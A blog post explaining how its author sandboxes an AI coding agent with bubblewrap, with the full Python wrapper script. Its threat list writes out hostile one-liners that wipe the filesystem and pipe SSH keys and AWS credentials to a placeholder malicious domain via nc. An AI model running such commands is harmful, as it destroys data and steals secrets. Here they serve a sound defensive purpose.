How I sandbox LLMs during development
I have some opinions:
- Context switching is expensive
- Human time use should be optimized
- Wasting human time on broken LLM output should be avoided
Therefore, asking for permission to run commands and trying to maintain a list of allowed commands is both wasteful and probably unsafe. I prefer sandboxing and allowing full freedom for the LLM agent.
(While I could rely on the sandbox mechanism of the LLM agent program itself, I would rather have the control myself)
I use bubblewrap on linux to expose only the current repo to the agent.
What this should protect against:
rm -rf /zip -r - ~/.ssh | nc somemaliciousdomain.com 80env | grep AWS | nc somemaliciousdomain.com 1234
What this does not protect against:
- Any of the above if:
- Code or tests are automatically executed from the outside of the sandbox, or dependencies automatically downloaded
rm -rf .git. This would be annoying if it happened, but it is convenient to expose the git repo to the agent- Exfiltrating the code base, LLM history, LLM credentials
The script
ccbwrap.py
#!/usr/bin/env python3
import os
import sys
import subprocess
from pathlib import Path
def main():
hostpwd = os.getcwd()
if not Path('.git').is_dir():
print('must be run in root of git repo', file=sys.stderr)
sys.exit(1)
home = os.environ['HOME']
colorterm = os.environ.get('COLORTERM', 'rxvt-xpm')
term = os.environ.get('TERM', 'xterm')
bwrap_cmd = [
'bwrap',
'--unshare-all',
'--share-net',
'--ro-bind', '/bin', '/bin',
'--ro-bind', '/lib', '/lib',
'--ro-bind', '/lib64', '/lib64',
'--ro-bind', '/var', '/var',
'--ro-bind', '/etc', '/etc',
'--tmpfs', '/run',
]
if Path('/run/systemd/resolve').exists():
bwrap_cmd.extend(['--ro-bind', '/run/systemd/resolve', '/run/systemd/resolve'])
bwrap_cmd.extend([
'--dev-bind', '/dev', '/dev',
'--ro-bind', '/usr', '/usr',
'--tmpfs', '/tmp',
'--proc', '/proc',
])
# Determine whether to sandbox the entire repo or a single file.
single_file = os.getenv('FILE')
if single_file:
single_file = Path(single_file)
if not single_file.exists():
print(f"Error: file {single_file} does not exist", file=sys.stderr)
sys.exit(1)
bwrap_cmd.extend([
'--bind', single_file.absolute(), Path(home) / 'workdir' / single_file.name,
'--chdir', Path(home) / 'workdir',
])
else:
bwrap_cmd.extend([
'--bind', hostpwd, hostpwd,
'--chdir', hostpwd,
])
bwrap_cmd.extend([
'--clearenv',
'--setenv', 'HOME', home,
'--setenv', 'COLORTERM', colorterm,
'--setenv', 'TERM', term,
])
# Pass through these env vars if set in the host environment
passthrough_env_vars = [
'ANTHROPIC_API_KEY',
'ANTHROPIC_BASE_URL',
'ANTHROPIC_DEFAULT_SONNET_MODEL',
'ANTHROPIC_DEFAULT_HAIKU_MODEL',
]
for var in passthrough_env_vars:
val = os.environ.get(var)
if val is not None:
bwrap_cmd.extend(['--setenv', var, val])
bwrap_cmd.extend([
'--die-with-parent',
# --new-session prevents injecting characters back into the terminal
# https://github.com/containers/bubblewrap?tab=readme-ov-file#limitations
'--new-session',
])
optional_ro_bindings = [
f'{home}/bin',
f'{home}/apps',
f'{home}/.vimrc',
f'{home}/.bashrc',
f'{home}/.bashrc.local',
f'{home}/.profile',
f'{home}/.cargo',
f'{home}/.rustup',
f'{home}/.gitconfig',
f'{home}/.local/bin',
f'{home}/.local/share/uv',
f'{home}/.nvm',
f'{home}/.local/share/claude',
]
for path in optional_ro_bindings:
if Path(path).exists():
bwrap_cmd.extend(['--ro-bind', path, path])
# Add writable bindings (only if they exist)
writable_bindings = [
f'{home}/.claude',
f'{home}/.claude.json',
]
for path in writable_bindings:
if Path(path).exists():
bwrap_cmd.extend(['--bind', path, path])
# Add the command to execute inside the sandbox
bwrap_cmd.extend([
'bash', '-l', '-e', '-c', f'{home}/.local/bin/claude --dangerously-skip-permissions "$@"', '--', *sys.argv[1:],
])
subprocess.run(bwrap_cmd, check=True)
if __name__ == '__main__':
main()